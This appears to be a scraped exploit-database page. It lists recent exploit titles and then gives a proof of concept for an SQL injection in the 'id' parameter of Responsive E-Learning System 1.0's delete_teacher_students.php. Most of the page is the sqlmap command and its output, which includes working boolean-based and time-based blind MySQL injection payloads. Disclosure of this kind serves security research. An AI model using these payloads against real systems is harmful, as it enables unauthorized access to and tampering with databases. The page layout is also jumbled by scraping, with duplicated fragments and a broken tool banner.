2c7e8b1ddc
19 changes to exploits/shellcodes Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission IncomCMS 2.0 - Insecure File Upload House Rental and Property Listing 1.0 - Multiple Stored XSS Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS Online Movie Streaming 1.0 - Authentication Bypass Responsive ELearning System 1.0 - 'id' Sql Injection Baby Care System 1.0 - 'Post title' Stored XSS Responsive FileManager 9.13.4 - 'path' Path Traversal Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) HPE Edgeline Infrastructure Manager 1.0 - Multiple Remote Vulnerabilities Cassandra Web 0.5.0 - Remote File Read CSZ CMS 1.2.9 - Multiple Cross-Site Scripting Online Learning Management System 1.0 - RCE (Authenticated) Klog Server 2.4.1 - Command Injection (Unauthenticated) EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
83 lines
No EOL
2.1 KiB
Text
83 lines
No EOL
2.1 KiB
Text
# Exploit Title: Responsive E-Learning System 1.0 – 'id' Sql Injection
|
||
# Date: 2020-12-24
|
||
# Exploit Author: Kshitiz Raj(manitorpotterk)
|
||
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
|
||
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
|
||
# Version: 1.0
|
||
# Tested on: Windows 10/Kali Linux
|
||
|
||
The 'id=' parameter in Responsive E-Learning System is vulnerable to Sql
|
||
Injection.
|
||
|
||
*Vulnerable Url : *http://localhost/elearning/delete_teacher_students.php?id=17
|
||
-p <http://localhost/elearning/delete_teacher_students.php?id=17%0D-p> id
|
||
|
||
# sqlmap -u
|
||
http://192.168.127.1//elearning/delete_teacher_students.php?id=17 -p id
|
||
|
||
___
|
||
|
||
|
||
__H__
|
||
|
||
|
||
___ ___["]_____ ___ ___
|
||
{1.3.11#stable}
|
||
|
||
|_ -| . [.] | .'| .
|
||
|
|
||
|
||
|___|_ [']_|_|_|__,|
|
||
_|
|
||
|
||
|_|V... |_| http://sqlmap.org
|
||
|
||
|
||
|
||
|
||
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
|
||
mutual consent is illegal. It is the end user's responsibility to obey all
|
||
applicable local, state and federal laws. Developers assume no liability
|
||
and are not responsible for any misuse or damage caused by this program
|
||
|
||
|
||
|
||
[*] starting @ 08:59:01 /2020-12-24/
|
||
|
||
|
||
08:59:33] [INFO] checking if the injection point on GET parameter 'id' is a
|
||
false positive
|
||
|
||
GET parameter 'id' is vulnerable. Do you want to keep testing the others
|
||
(if any)? [y/N] y
|
||
|
||
sqlmap identified the following injection point(s) with a total of 402
|
||
HTTP(s) requests:
|
||
|
||
---
|
||
|
||
Parameter: id (GET)
|
||
|
||
Type: boolean-based blind
|
||
|
||
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
|
||
GROUP BY clause
|
||
|
||
Payload: id=17' RLIKE (SELECT (CASE WHEN (7532=7532) THEN 17 ELSE 0x28
|
||
END))-- YDSn
|
||
|
||
|
||
|
||
Type: time-based blind
|
||
|
||
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||
|
||
Payload: id=17' AND (SELECT 4939 FROM (SELECT(SLEEP(5)))EQuU)-- RaGm
|
||
|
||
---
|
||
|
||
[08:59:38] [INFO] the back-end DBMS is MySQL
|
||
|
||
web application technology: PHP 7.2.34, Apache 2.4.46
|
||
|
||
back-end DBMS: MySQL >= 5.0.12 |